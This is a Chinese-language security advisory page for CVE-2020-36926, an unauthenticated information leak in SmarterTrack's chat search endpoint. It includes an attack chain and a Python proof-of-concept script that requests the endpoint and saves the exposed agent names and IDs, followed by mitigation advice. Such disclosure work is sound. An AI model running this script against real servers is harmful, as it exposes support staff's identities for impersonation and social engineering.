IPBUF安全漏洞报告
English
CVE-2020-36926 CVSS 7.5 高危

CVE-2020-36926 SmarterTrack聊天管理信息泄露漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2020-36926
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SmarterTools SmarterTrack

相关标签

信息泄露SmarterTrackSmarterTools未授权访问CVE-2020-36926高危漏洞Web应用安全访问控制缺陷

漏洞概述

CVE-2020-36926是SmarterTools公司开发的SmarterTrack客户支持软件中的一个信息泄露漏洞。该漏洞存在于7922版本中,具体位于聊天管理功能的搜索表单模块。攻击者无需任何认证即可通过访问Web应用程序的/Management/Chat/frmChatSearch.aspx端点,利用该搜索功能获取系统中所有客服代理人的敏感个人信息,包括姓名(first name和last name)以及唯一的用户标识符。漏洞的CVSS评分为7.5,属于高危级别,主要影响系统的机密性。由于该漏洞允许未经授权的用户获取代理人的身份信息,攻击者可以利用这些数据进行进一步的社会工程攻击、冒充客服人员或其他恶意活动。此漏洞的存在表明应用程序在访问控制和输入验证方面存在缺陷,未能正确限制敏感API端点的访问权限。对于使用SmarterTrack进行客户服务和企业支持的企业而言,该漏洞可能导致客户信任度下降和潜在的法律风险。

技术细节

SmarterTrack 7922版本中的聊天管理模块存在访问控制缺陷。在正常业务逻辑中,/Management/Chat/frmChatSearch.aspx端点应该仅对具有管理权限的用户开放,用于客服人员查找和管理聊天记录。然而,该端点缺少适当的身份验证检查和权限验证机制,导致任何匿名用户都可以直接访问并执行搜索操作。当攻击者构造特定的HTTP请求访问该端点时,服务器会响应包含所有注册代理人信息的完整列表,包括代理人的唯一标识符(Agent ID)和个人姓名信息。漏洞的技术根源在于:1)服务端未实施基于会话的身份验证;2)缺少基于角色的访问控制(RBAC)验证;3)API端点对匿名请求返回敏感数据。攻击者可以通过简单的HTTP GET请求直接访问该端点,无需提供任何认证凭证或会话cookie,即可获取完整的代理人名单。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站是否使用SmarterTrack客户支持软件
STEP 2
步骤2
攻击者构造HTTP请求直接访问未授权的端点/Management/Chat/frmChatSearch.aspx
STEP 3
步骤3
服务器响应包含所有客服代理人的个人信息,包括姓名和唯一标识符
STEP 4
步骤4
攻击者收集并整理泄露的代理人信息,用于后续社会工程攻击或身份冒充

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2020-36926 PoC - SmarterTrack Information Disclosure # Target: SmarterTrack <= 7922 # Endpoint: /Management/Chat/frmChatSearch.aspx def exploit_cve_2020_36926(target_url): """ Exploit for SmarterTrack Chat Management Information Disclosure This PoC demonstrates unauthorized access to agent information """ # Target endpoint that leaks agent information endpoint = "/Management/Chat/frmChatSearch.aspx" full_url = target_url.rstrip('/') + endpoint headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', } print(f"[*] Exploiting CVE-2020-36926") print(f"[*] Target: {full_url}") try: # Send unauthenticated request to vulnerable endpoint response = requests.get(full_url, headers=headers, timeout=30, verify=False) if response.status_code == 200: print(f"[+] Request successful - Status: {response.status_code}") print(f"[+] Agent information may be exposed in response") # Extract potential agent data from response if 'Agent' in response.text or 'agent' in response.text: print("[!] Agent identifiers found in response") # Save response for analysis with open('cve_2020_36926_response.html', 'w') as f: f.write(response.text) print("[*] Response saved to cve_2020_36926_response.html") return True else: print(f"[-] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-server.com" # Replace with actual target exploit_cve_2020_36926(target)

影响范围

SmarterTrack <= 7922

防御指南

临时缓解措施
在官方补丁发布之前,建议通过Web服务器配置(如Nginx或Apache的rewrite规则)临时限制对/Management/Chat/frmChatSearch.aspx端点的访问,仅允许来自受信任IP地址的访问。同时监控Web服务器的访问日志,检测是否存在异常的端点访问模式。考虑临时关闭聊天管理模块的搜索功能,直到漏洞被修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表